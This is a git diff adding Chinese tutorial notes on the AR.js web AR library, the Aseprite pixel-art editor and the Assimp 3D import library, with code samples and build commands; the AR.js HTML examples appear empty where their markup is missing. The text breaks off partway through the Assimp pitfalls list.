+AR.js([AR-js-org/AR.js](https://github.com/AR-js-org/AR.js))是一套**纯浏览器端**的 Web AR 库,在网页里用摄像头做 **标记追踪(Marker Tracking)**、**图像追踪(NFT / Image Tracking)** 和 **基于位置的 AR(Location-based AR)**。底层用 **jsartoolkit5** 做视觉跟踪,渲染层可选 **A-Frame**(声明式 HTML)或 **three.js**(命令式 API)。日常类比:想象你在桌上贴一张「魔法贴纸」(黑白 fiducial 标记),手机摄像头对准贴纸,屏幕上就在贴纸上「长」出一只恐龙或一段说明文字——AR.js 负责认出贴纸在画面里的位置和朝向,把你的 3D 内容钉在上面;用户移动手机时,虚拟物体跟着贴纸一起动,就像真的摆在桌上一样。 + +和需要下载 App 的 ARKit / ARCore 不同,AR.js **零安装**:一个 `.html` + CDN 脚本 + HTTPS 本地服务器,Chrome / Safari 移动端即可跑通。官方 README 强调在手机上也能保持较高帧率,适合展览传单、增强图书、扫码营销等「发链接就能试」的场景。若你要追踪**自然印刷图**(海报、包装盒)而非专用黑白标记,同生态里的 [MindAR](mind-ar-js.md) 往往更合适;AR.js 的强项是 **fiducial marker、条形码式 matrix marker、GPS 定位 AR**,且仍是 Web 上 marker / location 路线最成熟的开源方案之一。 + +```html + + + + + + + + + + + + + + + + + +``` + +打印 [Hiro 标记图](https://raw.githubusercontent.com/AR-js-org/AR.js/master/data/images/hiro.png),用 `npx serve .` 起本地 HTTP,手机浏览器打开页面并对准标记,即可看到立方体「贴」在纸上。 + +## 为什么重要 + +不了解 AR.js,下面这些事在 Web 侧很难低成本落地: + +- **黑白标记增强现实**:教材、博物馆导览、工业维修手册——每个标记 ID 对应不同 3D 说明,无需训练神经网络 +- **多标记独立追踪**:同一场景里 Hiro、Kanji、自定义 pattern、barcode 并存,各自挂不同内容(官方多标记示例) +- **GPS 户外 AR**:结合 `gps-camera` / `gps-entity-place`,在真实经纬度上放置 POI 气泡,做城市导览或 LBS 游戏 +- **与 A-Frame 无缝衔接**:已有 [A-Frame](aframe.md) 经验的人,加一行 `arjs` 属性就能把 VR 场景变成 AR 场景 +- **版本与依赖清晰**:AR.js 3.4.7 要求 A-Frame 1.6.0;脚本按能力拆分(仅 marker、含 NFT、仅 location),避免整包过大 + +## 核心概念 + +### 1. 三种 AR 模式(选脚本即选能力) + +| 能力 | 典型脚本 | 场景属性 / API | 适用场景 | +|------|----------|----------------|----------| +| Marker 追踪 | `aframe/build/aframe-ar.js` | `` + `` | 黑白 fiducial、条形码 matrix | +| Image 追踪 (NFT) | 含 NFT 的 aframe-ar 构建 | `nft` 相关组件 | 自然图像(与 MindAR 竞争) | +| Location AR | `aframe/build/aframe-ar-location.js` | `gps-camera`、`gps-entity-place` | 户外 GPS 锚点 | + +入门建议:**先只引 marker 版** `aframe-ar.js`,文档与示例最多,排错路径最短。 + +### 2. `` — 虚拟内容的「锚点」 + +`` 是 A-Frame 实体:当摄像头画面里检测到对应标记时,该实体及其子节点的位姿与真实标记对齐。子实体坐标**相对标记中心**,单位米;`size` 属性定义标记物理边长(默认约 1),影响子物体缩放感。 + +常用属性(摘自[官方 Marker Based 文档](https://ar-js-org.github.io/AR.js-Docs/marker-based/)): + +| 属性 | 含义 | +|------|------| +| `preset="hiro"` / `kanji` | 内置图案,免生成 `.patt` | +| `type="pattern"` + `url` | 自定义 pattern 文件 | +| `type="barcode"` + `value` | 矩阵码 ID(需场景开启 barcode 检测) | +| `emitevents` | 为 `true` 时触发 `markerFound` / `markerLost` | +| `smooth` / `smoothCount` / `smoothTolerance` | 抑制抖动,代价是跟随略滞后 | + +### 3. 两种相机模式:modelView vs cameraTransform + +- **modelView(默认,多标记推荐)**:相机逻辑固定在原点看向 -Z,**移动的是标记实体**。多个 `` 可独立追踪,适合「桌上同时摆几张卡」。 +- **cameraTransform(``)**:**移动的是相机**,标记不动。直觉上像「举着手机绕标记走」,但**无法**可靠处理多个独立标记。快速 demo 可用 `preset="hiro"` 的 marker-camera 一行搞定。 + +### 4. three.js 层:THREEx 三件套 + +不用 A-Frame 时,AR.js 暴露 `THREEx`(或 ES module 的 `ArToolkitSource` / `ArToolkitContext` / `ArMarkerControls`): + +1. **ArToolkitSource**:图像来源(webcam / video / image) +2. **ArToolkitContext**:jsartoolkit5 引擎,检测标记位姿 +3. **ArMarkerControls**:把 three.js 物体绑到标记上 + +适合已有 Three 渲染管线、不想引入 A-Frame 的项目。 + +### 5. 自定义 Pattern 标记 + +除 Hiro / Kanji 外,可用 [AR.js Marker Training](https://ar-js-org.github.io/AR.js/three.js/examples/marker-training/examples/generator.html) 上传**黑框内的图案**(须保留宽黑边),生成 `.patt` 文件,再以 `type="pattern" patternUrl="..."` 引用。图案对比度要高、不宜太对称,否则识别率下降。 + +### 6. 运行环境约束 + +- **必须 HTTPS 或 localhost**:`getUserMedia` 要求安全上下文;`file://` 无法调摄像头 +- **版本对齐**:A-Frame 1.6.0 ↔ AR.js 3.4.7(见官方 Docs) +- **光照与打印**:标记需平整、光线充足;反光塑封会降低跟踪稳定性 + +## 实践案例 + +### 案例 1:多标记场景 — 预设 + 自定义 pattern + 条形码 + +同一页面三种标记,各挂不同颜色立方体(模式为 modelView,末尾加普通 ``): + +```html + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +``` + +**要点**: + +- `detectionMode: mono_and_matrix` 与 `matrixCodeType` 为 barcode 追踪所必需 +- `emitevents="true"` 才能监听 `markerFound` / `markerLost`,用于 UI 提示或埋点 +- 每个 `` 子树互不影响,适合「一张桌布多张卡」的教学场景 + +### 案例 2:glTF 模型 + 平滑追踪 + marker-camera 快速模式 + +在 Hiro 上叠 glTF 恐龙,并开启平滑减少抖动: + +```html + + + + + + + + + + + + + + + + + + + + +``` + +**要点**: + +- `scale="0.05"` 因 glTF 单位往往很大,需按模型实际尺寸微调 +- `smooth*` 参数在手持抖动明显时值得调;展览固定支架可关掉以降低延迟 +- 跨域 glTF 若加载失败,需自建静态服务器或 CORS 代理(官方示例注释中有说明) + +### 案例 3(进阶):three.js + ES Module 最小管线 + +A-Frame 不满足时,可用 3.4.6+ 的 import map(摘自[官方 New Import Syntax](https://ar-js-org.github.io/AR.js/)): + +```html + + +``` + +**要点**:`ArToolkitContext.update` 每帧喂入视频帧;`getProjectionMatrix()` 把相机内参同步到 Three 相机,否则虚拟物体「飘」。 + +## 与 MindAR 怎么选 + +| 维度 | AR.js | MindAR | +|------|-------|--------| +| 锚点类型 | 黑白 fiducial、barcode、GPS | 自然图像、人脸 | +| 标记准备 | 打印 Hiro / 生成 `.patt` | 编译 `.mind` 目标图 | +| 典型场景 | 图书页码、工单标签、户外 POI | 海报扫码、试戴滤镜 | +| 底层 | jsartoolkit5 | TensorFlow.js | + +两者可并存于不同页面;同一产品里「专用 AR 卡」用 AR.js,「扫商品包装」用 MindAR 往往更省心。 + +## 常见问题 + +1. **摄像头黑屏**:检查是否 HTTPS / localhost;iOS Safari 需用户授权;部分浏览器要求用户手势后才能 `play()` 视频 +2. **标记检测不到**:提高环境光、标记占画面比例、避免运动模糊;确认 `patternUrl` 路径 200 可访问 +3. **模型太大/太小**:调 `` 与子实体 `scale`;glTF 用 [gltf-transform](gltf-transform.md) 预先归一化 +4. **多标记时只有一个动**:误用了 ``,改回 `` + `` +5. **抖动严重**:`smooth="true"` 并增大 `smoothCount`;或从物理上固定手机支架 + +## 学习路径 + +1. **跑通 Hiro demo**:打印标记 + `npx serve .` + 手机扫码 +2. **读 Marker Based 文档**:弄清 pattern / barcode / preset 与事件 API +3. **做自定义品牌标记**:Marker Training → `.patt` → 贴到宣传物料 +4. **按需扩展**:Location AR 教程([AR.js Docs — Location Based](https://ar-js-org.github.io/AR.js-Docs/location-based/))、或 three.js THREEx 接入已有场景 +5. **对照 A-Frame 笔记**:组件、动画、`gltf-model` 与 [A-Frame 交互](aframe.md) 章节通用 + +## 延伸阅读 + +- 官方文档:[AR.js Documentation](https://ar-js-org.github.io/AR.js-Docs/) +- Marker 生成:[Marker Training Tool](https://ar-js-org.github.io/AR.js/three.js/examples/marker-training/examples/generator.html) +- 仓库示例:`aframe/examples/`、`three.js/examples/` +- 相关笔记:[A-Frame](aframe.md)、[MindAR](mind-ar-js.md)、[three.js 生态 glTF 工具](gltf-transform.md) diff --git a/src/content/docs/projects/aseprite.md b/src/content/docs/projects/aseprite.md new file mode 100644 index 000000000..04342db3d --- /dev/null +++ b/src/content/docs/projects/aseprite.md @@ -0,0 +1,275 @@ +--- +title: Aseprite — 像素艺术 / 动画编辑器 +来源: 'https://github.com/aseprite/aseprite' +日期: 2026-06-13 +分类: 图形学 +子分类: 渲染与图形 +provenance: pipeline-v3 +难度: 初级 +--- + +## 日常类比:Aseprite 是「翻页动画本 + 透明胶片叠印台」 + +小时候在课本角落画小人,快速翻动纸边让小人「跑起来」——每一页是一个**瞬间姿势**,连起来就是动画。Aseprite 就是把这套玩法数字化、专业化: + +- **画布(Sprite)** → 那本横格动画本,固定宽高(如 32×32、64×64) +- **帧(Frame)** → 动画本里的每一页,可单独设停留时间(0.1 秒 = 10 FPS 的一格) +- **图层(Layer)** → 盖在某一页上的透明胶片:底层画背景,中层画身体,顶层画武器/特效 +- **单元格(Cel)** → 「某图层在某帧上实际画了什么」——没有 Cel 的格就是空白 +- **洋葱皮(Onion Skin)** → 作画时半透明叠出前后几帧轮廓,像描摹前一页的铅笔印 +- **标签(Tag)** → 在时间轴上给一段帧起名(`Walk`、`Attack`),一个文件里可装多套动作 + +和 [[gimp]] 修大图、[[krita]] 画插画不同,Aseprite 专攻**低分辨率、硬边像素、逐帧动画**——像素完美描边、索引色板、精灵表导出都是为独立游戏与复古美术量身定做。源码在 [aseprite/aseprite](https://github.com/aseprite/aseprite) 公开(约 36k stars),但官方二进制采用 EULA 许可;纯开源替代可看 [LibreSprite](https://github.com/LibreSprite/LibreSprite)。 + +| 维度 | 说明 | +|---|---| +| 官网 / 文档 | [aseprite.org](https://www.aseprite.org/) · [脚本 API](https://www.aseprite.org/api/) | +| 平台 | Windows、macOS、Linux(Steam / 官网购买) | +| 原生格式 | `.ase` / `.aseprite` | +| 典型导出 | PNG 序列、GIF、精灵表 PNG + JSON、CLI 批处理 | +| 脚本 | Lua(v1.2.10+),可写插件与自动化 | + +--- + +## 解决什么问题 + +像素风游戏角色通常需要:**同一角色走路、跳跃、攻击多套动画**,且运行时只加载一张**纹理图集(sprite sheet)**以节省 Draw Call。手绘在 Photoshop 里也能做,但缺少: + +1. **帧级时间轴**:每帧独立时长、循环区间、预览播放 +2. **像素工具链**:Pixel Perfect 铅笔、Shading 墨水、RotSprite 旋转少糊边 +3. **游戏向导出**:带帧矩形、时长、标签的 JSON 元数据 +4. **批处理**:改完 `.aseprite` 后一条 CLI 重新烘出 `@2x` 图集 + +一句话:**Aseprite 画像素动画,引擎读图集跑逻辑**——和 [[tiled]] 画关卡、Godot/Phaser 跑碰撞是同一分工。 + +--- + +## 核心概念 + +### 1. Sprite(精灵文档) + +一个 Sprite 有固定 `width × height`、一种**色彩模式**(RGBA / Indexed 最多 256 色 / Grayscale),以及若干帧与图层。`.aseprite` 是工程文件,保留图层、标签、切片(Slice)、调色板——类似 PSD,但面向动画。 + +### 2. Layer(图层)与 Layer Group + +图层自下而上叠放;**组(Group)** 可嵌套,方便把「头发 / 身体 / 武器」打包。特殊类型: + +| 类型 | 作用 | +|---|---| +| **普通图像层** | 每帧可有独立 Cel,支持透明 | +| **背景层** | 索引色模式下不可透明,通常铺底色 | +| **参考层(Reference)** | 导入参考图、rotoscoping,不参与导出 | +| **Tilemap 层** | 用瓦片块拼场景(与 [[tiled]] 思路相近,偏单图块动画) | + +混合模式(Multiply、Screen 等)与不透明度(0–255)按层生效。 + +### 3. Frame、Cel 与 Duration + +- **Frame**:时间轴上的一格,从 1 开始编号 +- **Cel**:`Layer × Frame` 交点上的图像实例,可有偏移(position) +- **Duration**:该帧显示秒数;总动画时长 = 各帧 duration 之和 + +复制帧(`sprite:newFrame()`)会复制所有图层的 Cel,适合「只改手臂」式增量动画。 + +### 4. 色彩模式与调色板 + +| 模式 | 场景 | +|---|---| +| **RGBA** | 现代游戏、带半透明特效 | +| **Indexed** | 复古主机风、严格色数限制;调色板可整体替换做「皮肤变体」 | +| **Grayscale** | 灰度草图或法线贴图草稿 | + +索引色导出精灵表时常配合 **ordered dithering** 从 RGB 量化,CLI 用 `--dithering-algorithm ordered` 控制。 + +### 5. Onion Skin 与预览 + +洋葱皮显示当前帧前后若干帧的半透明 ghost,可调红/蓝模式区分前帧与后帧。预览窗口支持 Forward / Reverse / Ping-pong 循环——做走路循环时 ping-pong 能立刻发现「脚是否落地对齐」。 + +### 6. Tags(帧标签) + +在时间轴上选中连续帧 → 右键 **New Tag**,命名如 `idle`、`run`。导出时可 `--tag "run"` 只烘跑步段,或 `--split-tags` 按标签拆成多个 GIF。JSON 元数据里含 `frameTags: [{ name, from, to }]`,运行时按名播放状态机。 + +### 7. Slices(切片) + +在图像上框选命名区域(如 `cursor`、`button_normal`),导出 UI 精灵或 `--slice` 裁切。适合同一文件里放多枚图标。 + +### 8. 精灵表(Sprite Sheet) + +把多帧(或多图层、多文件)排进一张 PNG,配套 JSON 记录每帧 `frame: { x, y, w, h }`、`duration`、`sourceSize`。布局算法:`horizontal`、`packed`(省空白)、固定 `1024×1024` 等。游戏引擎(Godot AnimatedSprite2D、Phaser、Raylib 等)读 JSON 即可。 + +--- + +## 零基础上手流程 + +1. **新建**:File → New,设 32×32 或角色实际尺寸,选 RGBA 或 Indexed +2. **画第一帧**:铅笔(`B`)开启 **Pixel-perfect**;调色板窗口管理色板 +3. **加帧**:时间轴 `Alt+N` 或点击 New Frame,洋葱皮对照前一帧改像素 +4. **分层**:身体一层、装备一层;隐藏层不参与默认导出 +5. **打标签**:选中走路所有帧 → Tag `walk` +6. **导出**:File → Export Sprite Sheet,或 CLI 批处理(见下) +7. **进引擎**:把 `sheet.png` + `sheet.json` 丢进 [[godot]] / [[phaser]] / [[raylib]] 动画组件 + +快捷键备忘:`Space` 播放预览、`Tab` 全屏画布、`Ctrl+Shift+E` 导出、`[` `]` 切帧。 + +--- + +## 代码示例 + +### 示例 1:Lua 脚本——批量生成行走循环并标帧时长 + +Aseprite 内置 **File → Scripts → Open Scripts Folder**,`.lua` 文件可 GUI 运行,也可 `aseprite -b --script walk.lua` 批处理。下面脚本新建 32×32 精灵、画 4 帧色块模拟走路、统一每帧 0.08 秒: + +```lua +-- walk_cycle.lua:生成 4 帧占位行走循环 +local sprite = Sprite(32, 32, ColorMode.RGB) +local colors = { + Color{ r=80, g=160, b=255 }, + Color{ r=80, g=140, b=230 }, + Color{ r=80, g=160, b=255 }, + Color{ r=100, g=180, b=255 }, +} + +for i = 1, #colors do + if i > 1 then + sprite:newFrame() + end + app.activeFrame = sprite.frames[i] + app.activeSprite = sprite + -- 每帧画一个水平偏移的矩形,模拟重心左右移 + local offset = (i - 1) * 2 + app.useTool{ + tool = 'filled_rectangle', + color = colors[i], + brush = Brush(1), + points = { Point(8 + offset, 12), Point(24 + offset, 28) } + } + sprite.frames[i].duration = 0.08 +end + +-- 给帧范围打 Tag,方便 CLI --tag 导出 +app.command.NewTag{ + fromFrame = 1, + toFrame = #sprite.frames, + name = 'walk', + aniDir = 'forward' +} + +print(string.format('Created %d-frame walk cycle', #sprite.frames)) +``` + +要点:`app.useTool` 模拟用户笔触;`sprite:newFrame()` 复制上一帧所有 Cel 再改;Tag 与引擎状态机名称对齐可减少手写 JSON。 + +### 示例 2:CLI 导出精灵表 + JSON(进游戏管线) + +改完 `hero.aseprite` 后,在 CI 或本地 `Makefile` 里一条命令重新烘图集: + +```bash +#!/usr/bin/env bash +# export-hero.sh — 从 Aseprite 工程导出 packed 精灵表 +ASEPRITE="${ASEPRITE:-/Applications/Aseprite.app/Contents/MacOS/aseprite}" + +"$ASEPRITE" -b \ + --ignore-empty \ + --trim \ + --sheet-pack \ + --sheet-type packed \ + --border-padding 1 \ + --shape-padding 1 \ + --extrude \ + --tag "walk" \ + --list-tags \ + --data "dist/hero-walk.json" \ + --format json-hash \ + --sheet "dist/hero-walk.png" \ + "assets/hero.aseprite" +``` + +`json-hash` 输出大致结构(引擎按 `frames` 字典加载): + +```json +{ + "frames": { + "hero.aseprite 0": { + "frame": { "x": 1, "y": 1, "w": 30, "h": 30 }, + "duration": 80, + "sourceSize": { "w": 32, "h": 32 } + } + }, + "meta": { + "frameTags": [{ "name": "walk", "from": 0, "to": 3 }], + "size": { "w": 128, "h": 32 } + } +} +``` + +`duration` 单位为毫秒;`--extrude` 在图集里复制边缘 1px,减轻线性过滤时的缝隙线(bleeding)。多分辨率可链式 `--scale 2` 再 `--save-as`。 + +### 示例 3(补充):带对话框的用户脚本骨架 + +交互式工具用 `Dialog` 收集参数,适合团队内小插件: + +```lua +local dlg = Dialog{ title = "批量改帧长" } +dlg:number{ id = "fps", label = "FPS", text = "12", decimals = 0 } +dlg:button{ id = "ok", text = "Apply" } +dlg:button{ id = "cancel", text = "Cancel" } +dlg:show() + +if dlg.data.ok and app.activeSprite then + local dur = 1.0 / dlg.data.fps + for _, frame in ipairs(app.activeSprite.frames) do + frame.duration = dur + end +end +``` + +--- + +## 与游戏引擎的衔接 + +| 引擎 / 工具 | 典型用法 | +|---|---| +| **Godot 4** | 导入 PNG 序列或配合 JSON;AnimatedSprite2D / SpriteFrames | +| **Phaser 3** | `this.load.atlas('hero', 'sheet.png', 'sheet.json')` | +| **Unity** | 第三方 Aseprite 导入器,或 CLI 出图集后当 Texture2D | +| **LÖVE / [[love2d]]** | `anim8` 等库读精灵表网格或 JSON | +| **[[tiled]]** | 图块集 PNG 常在 Aseprite 里画好再导入 Tiled | +| **[[piskel]]** | 浏览器轻量替代;复杂时间轴与 CLI 仍以 Aseprite 为准 | + +命名约定:图层名、Tag 名、导出文件名与代码里状态机枚举一致(如 `PLAYER_RUN` ↔ tag `run`),比死记帧号更易维护。 + +--- + +## 许可与生态说明 + +- **源码**:GitHub 可阅可编译,整体受 [EULA](https://github.com/aseprite/aseprite/blob/main/EULA.txt) 约束,并非整仓 MIT +- **购买**:Steam 或官网;教育场景可申请教育许可 +- **社区**:[community.aseprite.org](https://community.aseprite.org/)、Discord、大量 Lua 插件([aseprite-community](https://github.com/aseprite/aseprite-community)) +- **纯 OSS 分叉**:LibreSprite 适合无法接受 EULA 的发行场景,功能略滞后 + +--- + +## 常见坑与建议 + +1. **忘记 Pixel-perfect**:斜线用普通铅笔会出脏像素;开启 Pixel Perfect 或用手动 Bresenham +2. **索引色透明色**:Indexed 模式「透明」是调色板中的一个索引,导出 GIF 时与引擎约定一致 +3. **图集缝隙**:GPU 线性过滤时在图集加 `--extrude` 或引擎里用 Nearest +4. **隐藏层被导出**:默认忽略隐藏层;需要时用 `--all-layers` +5. **帧 0 vs 1**:脚本 API 帧号从 **1** 开始;JSON `from`/`to` 常为 **0** 起,对接时别混 +6. **大图分辨率**:角色源文件按逻辑像素画(如 32×32),缩放用 `--scale` 生成 `@2x`,勿在画布上直接画 128×128 再缩小 +7. **版本控制**:`.aseprite` 是二进制,Git 用 LFS 或只提交导出 PNG/JSON;合并冲突靠「一人改一角色」分工 + +--- + +## 延伸学习 + +- 官方:[Timeline 文档](https://www.aseprite.org/docs/timeline/)、[Sprite Sheet](https://www.aseprite.org/docs/sprite-sheet/)、[CLI](https://www.aseprite.org/docs/cli/)、[Scripting](https://www.aseprite.org/docs/scripting/) +- API 仓库:[aseprite/api](https://github.com/aseprite/api) +- 练习:8×8 或 16×16 单色行走循环 → 加一帧攻击 Tag → CLI 导出 → 在 [[phaser]] 或 Godot 里播放 +- 相关笔记:[[gimp]](通用位图)、[[tiled]](关卡)、[[piskel]](Web 像素)、[[dragonbones]] / [[spine-runtimes]](骨骼 2D 另一路线) + +--- + +## 小结 + +Aseprite 把「翻页小人」升级为可版本管理、可脚本化、可进 CI 的像素动画生产工具:**图层管组合,帧管时间,Tag 管语义,CLI 管导出**。零基础先画清一个 4 帧循环并成功导出一张 `sheet.png` + JSON,比死记快捷键更能建立直觉;之后无论是独立游戏角色还是 UI 像素图标,都在同一套时间轴思维里扩展。 diff --git a/src/content/docs/projects/assimp.md b/src/content/docs/projects/assimp.md new file mode 100644 index 000000000..50f6945f7 --- /dev/null +++ b/src/content/docs/projects/assimp.md @@ -0,0 +1,349 @@ +--- +title: Assimp — Open Asset Import Library 统一 3D 模型导入 +description: 40+ 种 3D 格式读入统一 aiScene 内存结构,FBX/OBJ/glTF 通吃,引擎与工具链的模型导入标配 +来源: 'https://github.com/assimp/assimp' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +难度: 初级 +provenance: pipeline-v3 +--- + +## 是什么 + +**Assimp**(Open Asset Import Library)是一个用 C++ 实现的开源库,把 **40 多种 3D 文件格式**(OBJ、FBX、glTF、COLLADA、STL、3DS、PLY 等)读进**同一套内存数据结构**,让你不用为每种格式单独写解析器。源码托管于 [assimp/assimp](https://github.com/assimp/assimp),采用宽松的 **3-clause BSD** 许可,可静态链接进商业引擎。 + +日常类比:3D 资产就像来自不同国家的**快递包裹**——有的用纸箱(OBJ),有的用木箱(FBX),有的用压缩袋(glTF)。Assimp 是**统一分拣中心**:不管外包装长什么样,拆开后都按同一套清单登记——有几件货(mesh)、放在哪个货架层级(node tree)、贴什么标签(material)、有没有动画说明书(animation)。你的游戏引擎或渲染器只认这份清单,不必再雇 40 个「各国报关员」。 + +最小 C++ 导入示例: + +```cpp +#include +#include +#include +#include + +int main() { + Assimp::Importer importer; + const aiScene* scene = importer.ReadFile( + "models/robot.obj", + aiProcess_Triangulate | aiProcess_FlipUVs | aiProcess_GenNormals + ); + + if (!scene || scene->mFlags & AI_SCENE_FLAGS_INCOMPLETE) { + std::cerr << importer.GetErrorString() << "\n"; + return 1; + } + + std::cout << "meshes: " << scene->mNumMeshes + << " materials: " << scene->mNumMaterials << "\n"; + return 0; +} +``` + +`ReadFile` 成功返回 `aiScene*`;失败时 `GetErrorString()` 给出原因。`Importer` 析构时会自动释放场景内存——**不必手动 delete**。 + +## 为什么重要 + +零基础做 3D 工具或游戏,绕不开 Assimp 的几个现实理由: + +- **格式碎片化是常态**:美术用 Blender 导出 FBX,TA 给 glTF,CAD 遗留 STL——引擎侧若只支持 OBJ,协作立刻卡死 +- **引擎普遍内嵌或依赖 Assimp**:[[godot]]、Ogre、许多 indie 引擎、离线烘焙工具链都在底层或可选路径上使用 Assimp 或受其数据结构启发 +- **后处理管线省掉大量脏活**:三角化、法线生成、切线空间、合并重复顶点、优化顶点缓存——这些在 `ReadFile` 的 flags 里一行声明 +- **C API + 多语言绑定**:除 C++ 外有 C 接口,以及 Python(PyAssimp)、.NET、Rust(russimp)等 port,工具脚本也能用 +- **与 DCC 分工清晰**:[[blender]] 负责创作与导出;Assimp 负责**运行时/管线里**把文件变成程序能遍历的网格与材质 + +## 核心要点 + +Assimp 的心脏可以按「从文件到可渲染数据」顺序理解: + +### 1. Importer — 唯一入口 + +`Assimp::Importer` 负责:读磁盘 → 调用对应格式 loader → 可选跑 post-process 链 → 返回 `aiScene*`。同一 `Importer` 实例可多次 `ReadFile`,但**前一次场景会被释放**。类比:一台多功能扫描仪,每次扫完上一张图就从内存清掉。 + +### 2. aiScene — 场景根节点 + +`aiScene` 是一棵数据的根,主要成员: + +| 成员 | 含义 | +| --- | --- | +| `mRootNode` | 场景图根,带变换矩阵与子节点 | +| `mMeshes[]` | 网格数组,顶点/面/法线/UV | +| `mMaterials[]` | 材质参数与纹理路径 | +| `mAnimations[]` | 骨骼/节点动画曲线 | +| `mTextures[]` | 内嵌纹理(部分格式) | +| `mLights` / `mCameras` | 灯光与相机(若文件含) | + +### 3. 节点树(Node Tree) + +`aiNode` 形成层次结构:每个节点有 `mName`、`mTransformation`(4×4 矩阵)、`mMeshes[]`(引用 mesh 索引)、`mChildren[]`。类比:舞台布景的**父子挂点**——「车门」是「车身」的子节点,开门动画只改子节点变换。 + +### 4. aiMesh — 几何数据 + +单个 mesh 包含: + +- `mVertices` — 顶点位置(`aiVector3D`) +- `mNormals` — 法线(可后处理生成) +- `mTextureCoords[0]` — UV(最多 8 套) +- `mFaces` — 面;每面 `mNumIndices` + `mIndices` +- `mMaterialIndex` — 指向 `mMaterials` + +Assimp **不保证**读入就是三角形;若你的渲染 API 只接受三角面,务必加 `aiProcess_Triangulate`。 + +### 5. 后处理标志(Post-Processing Flags) + +常用组合(按位 OR): + +| 标志 | 作用 | +| --- | --- | +| `aiProcess_Triangulate` | 多边形转三角面 | +| `aiProcess_GenNormals` | 缺失时生成法线 | +| `aiProcess_GenUVCoords` | 缺失时生成 UV | +| `aiProcess_FlipUVs` | 翻转 V 坐标(OpenGL 惯例) | +| `aiProcess_CalcTangentSpace` | 法线贴图需要的切线/副切线 | +| `aiProcess_JoinIdenticalVertices` | 焊接重复顶点 | +| `aiProcess_OptimizeMeshes` | 合并小 mesh 减少 draw call | +| `aiProcess_PreTransformVertices` | 把节点变换烘焙进顶点(静态场景) | + +预设「给我能直接丢进 OpenGL 的网格」常写: + +```cpp +unsigned int flags = + aiProcess_Triangulate | + aiProcess_GenSmoothNormals | + aiProcess_FlipUVs | + aiProcess_CalcTangentSpace | + aiProcess_JoinIdenticalVertices; +``` + +### 6. 材质与纹理 + +`aiMaterial` 用键值对存属性(漫反射色、金属度、贴图路径等),通过 `Get()` 按 `aiTextureType_DIFFUSE` 等枚举读取。纹理文件路径常为**相对模型目录**——若贴图找不到,检查工作目录或实现自定义 `IOSystem` 做虚拟文件系统(打包资源时用)。 + +### 7. C API 与生命周期 + +C 接口等价于: + +```c +#include +#include +#include +#include + +int main(void) { + const struct aiScene *scene = aiImportFile( + "models/robot.obj", + aiProcess_Triangulate | aiProcess_FlipUVs + ); + if (!scene) { + const char *err = aiGetErrorString(); + fprintf(stderr, "import failed: %s\n", err ? err : "unknown"); + return 1; + } + + printf("mesh count: %u\n", scene->mNumMeshes); + + aiReleaseImport(scene); /* C API 必须手动释放 */ + return 0; +} +``` + +C++ 用 RAII(`Importer` 析构);C 用 `aiReleaseImport()`——**成对调用**,否则泄漏。 + +## 实践案例 + +### 案例 1:递归遍历场景图并统计三角面 + +理解 node tree 的最小练习——打印每个 mesh 引用与面数: + +```cpp +#include +#include +#include +#include + +void walk(const aiNode* node, const aiScene* scene, int depth = 0) { + for (unsigned i = 0; i < depth; ++i) std::printf(" "); + std::printf("node: %s\n", node->mName.C_Str()); + + for (unsigned m = 0; m < node->mNumMeshes; ++m) { + const aiMesh* mesh = scene->mMeshes[node->mMeshes[m]]; + unsigned tris = 0; + for (unsigned f = 0; f < mesh->mNumFaces; ++f) + tris += mesh->mFaces[f].mNumIndices >= 3 ? mesh->mFaces[f].mNumIndices - 2 : 0; + std::printf(" mesh[%u] vertices=%u faces=%u (~%u tris)\n", + node->mMeshes[m], mesh->mNumVertices, mesh->mNumFaces, tris); + } + for (unsigned c = 0; c < node->mNumChildren; ++c) + walk(node->mChildren[c], scene, depth + 1); +} + +int main() { + Assimp::Importer importer; + const aiScene* scene = importer.ReadFile( + "character.fbx", + aiProcess_Triangulate | aiProcess_PreTransformVertices + ); + if (!scene) return 1; + walk(scene->mRootNode, scene); + return 0; +} +``` + +`PreTransformVertices` 适合静态关卡——顶点已在世界空间,渲染时可忽略节点矩阵;**骨骼动画模型不要用**,否则蒙皮信息被破坏。 + +### 案例 2:导出 interleaved 顶点缓冲(对接 OpenGL/Vulkan) + +把第一个 mesh 抽成 `{position, normal, uv}` 交错数组,便于上传 GPU: + +```cpp +#include +#include +#include +#include + +struct Vertex { + float px, py, pz; + float nx, ny, nz; + float u, v; +}; + +std::vector loadInterleaved(const char* path) { + Assimp::Importer importer; + const aiScene* scene = importer.ReadFile(path, + aiProcess_Triangulate | aiProcess_GenSmoothNormals | aiProcess_FlipUVs); + + if (!scene || !scene->mNumMeshes) + throw std::runtime_error(importer.GetErrorString()); + + const aiMesh* mesh = scene->mMeshes[0]; + std::vector out(mesh->mNumVertices); + + for (unsigned i = 0; i < mesh->mNumVertices; ++i) { + out[i].px = mesh->mVertices[i].x; + out[i].py = mesh->mVertices[i].y; + out[i].pz = mesh->mVertices[i].z; + out[i].nx = mesh->mNormals[i].x; + out[i].ny = mesh->mNormals[i].y; + out[i].nz = mesh->mNormals[i].z; + if (mesh->mTextureCoords[0]) { + out[i].u = mesh->mTextureCoords[0][i].x; + out[i].v = mesh->mTextureCoords[0][i].y; + } else { + out[i].u = out[i].v = 0.f; + } + } + return out; +} +``` + +索引缓冲需另扫 `mesh->mFaces` 收集 `mIndices`。多 mesh 场景应**每个 mesh 一套 VBO/EBO**,或 CPU 阶段合并并记录 material 区间。 + +### 案例 3:命令行快速验模型 + +编译 Assimp 后自带 CLI 工具 `assimp`(在 `tools/assimp_cmd`): + +```bash +# 查看格式支持与版本 +assimp version + +# 转成 Assimp 自有二进制 assbin,加载更快 +assimp export model.fbx out.assbin + +# 列出场景信息(mesh/材质/动画概览) +assimp info model.gltf +``` + +CI 里用 `assimp info` 做**资产 smoke test**,比拉整引擎更轻。 + +## 构建与集成 + +典型 CMake 集成(vcpkg / 系统包均可): + +```cmake +find_package(assimp CONFIG REQUIRED) +add_executable(demo main.cpp) +target_link_libraries(demo PRIVATE assimp::assimp) +``` + +源码构建(官方 quickstart): + +```bash +git clone https://github.com/assimp/assimp +cd assimp +cmake -G Ninja -DASSIMP_BUILD_TESTS=OFF -S . -B build +cmake --build build +``` + +可通过 `-DASSIMP_BUILD_ZLIB=ON` 等选项裁剪不需要的格式 importer,缩小二进制体积。 + +## 踩过的坑 + +1. **忘记 Triangulate**:读入四边面直接当三角面渲染,索引错乱出现破面。 + +2. **UV 原点不一致**:DirectX 与 OpenGL V 